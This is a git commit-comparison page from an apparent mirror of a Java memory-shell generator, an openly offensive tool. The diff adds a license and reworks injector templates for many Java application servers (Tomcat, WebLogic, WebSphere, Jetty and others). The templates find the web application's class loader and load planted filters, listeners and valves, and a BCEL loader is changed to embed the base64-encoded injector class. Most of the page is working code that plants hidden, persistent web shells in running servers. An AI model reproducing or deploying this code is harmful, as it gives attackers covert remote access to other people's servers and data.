mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
Compare commits
4
Commits
v1.0.9_250101
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dab77b3ebf | ||
|
|
2b16edb0e2 | ||
|
|
4ce27b2cc1 | ||
|
|
3fe18fa470 |
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 pen4uin
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -410,6 +410,26 @@ public class AbstractConfig {
|
||||
|
||||
private String jarClassName;
|
||||
|
||||
public byte[] getBytesInLoader() {
|
||||
return bytesInLoader;
|
||||
}
|
||||
|
||||
public void setBytesInLoader(byte[] bytesInLoader) {
|
||||
this.bytesInLoader = bytesInLoader;
|
||||
}
|
||||
|
||||
private byte[] bytesInLoader;
|
||||
|
||||
public String getClassNameInLoader() {
|
||||
return classNameInLoader;
|
||||
}
|
||||
|
||||
public void setClassNameInLoader(String classNameInLoader) {
|
||||
this.classNameInLoader = classNameInLoader;
|
||||
}
|
||||
|
||||
private String classNameInLoader;
|
||||
|
||||
public void build() {
|
||||
// 检查 serverType、modelType、formatType 是否已设置
|
||||
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
|
||||
@@ -429,8 +449,6 @@ public class AbstractConfig {
|
||||
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
|
||||
if (this.getShellSimpleClassName() == null)
|
||||
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
|
||||
if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
||||
this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.util.ClassNameUtil;
|
||||
import me.gv7.woodpecker.bcel.HackBCELs;
|
||||
|
||||
import java.io.IOException;
|
||||
@@ -9,7 +10,15 @@ public class BCELFormater implements IFormater {
|
||||
|
||||
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
// 解决 BCEL 的classloader 的问题
|
||||
// 解决 BCEL ClassLoader 带来的问题
|
||||
if (config.isEnabledExtender()){
|
||||
config.setBytesInLoader(config.getExtenderBytes());
|
||||
config.setClassNameInLoader(config.getExtenderClassName());
|
||||
}else{
|
||||
config.setBytesInLoader(config.getInjectorBytes());
|
||||
config.setClassNameInLoader(config.getInjectorClassName());
|
||||
}
|
||||
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
||||
return HackBCELs.encode(bcelClzBytes).getBytes();
|
||||
}
|
||||
|
||||
@@ -17,9 +17,9 @@ public class BCELoaderGenerator {
|
||||
ctClass.setName(config.getLoaderClassName());
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
||||
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
|
||||
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInLoader()));
|
||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
|
||||
String base64ClassString = encodeToBase64(config.getBytesInLoader()).replaceAll("[\\s*\t\n\r]", "");
|
||||
String[] parts = splitChunks(base64ClassString, 40000);
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (int i = 0; i < parts.length; i++) {
|
||||
|
||||
@@ -81,12 +81,18 @@ public class BESFilterInjectorTpl {
|
||||
return var0;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e1) {
|
||||
|
||||
@@ -73,13 +73,18 @@ public class BESListenerInjectorTpl {
|
||||
return var0;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -64,12 +64,18 @@ public class GlassFishFilterInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -60,13 +60,18 @@ public class GlassFishListenerInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -164,14 +164,17 @@ public class JettyFilterInjectorTpl {
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -108,13 +108,17 @@ public class JettyListenerInjectorTpl {
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -87,12 +87,17 @@ public class ResinFilterInjectorTpl {
|
||||
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -65,12 +65,17 @@ public class ResinListenerInjectorTpl {
|
||||
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -95,14 +95,19 @@ public class TomcatFilterInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -87,13 +87,19 @@ public class TomcatListenerInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -95,10 +95,7 @@ public class TomcatValveInjectorTpl {
|
||||
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -82,12 +82,18 @@ public class TongWebListenerInjectorTpl {
|
||||
return var0;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws IllegalAccessException {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception ex) {
|
||||
|
||||
@@ -63,12 +63,18 @@ public class UndertowFilterInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -53,13 +53,18 @@ public class UndertowListenerInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -146,12 +146,17 @@ public class WebLogicFilterInjectorTpl {
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -140,13 +140,18 @@ public class WebLogicListenerInjectorTpl {
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -202,12 +202,17 @@ public class WebSphereFilterInjectorTpl {
|
||||
}
|
||||
}
|
||||
|
||||
public Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "loader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -64,12 +64,17 @@ public class WebSphereListenerInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFV(context, "loader"));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
@@ -137,4 +142,46 @@ public class WebSphereListenerInjectorTpl {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,14 +62,19 @@ public class WildFlyFilterInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -50,14 +50,19 @@ public class WildFlyListenerInjectorTpl {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
private Object getListener(Object context) throws Exception {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -382,8 +382,6 @@ public class jMGForm {
|
||||
config.setUrlPattern("/*");
|
||||
}
|
||||
}
|
||||
if (config.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
||||
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user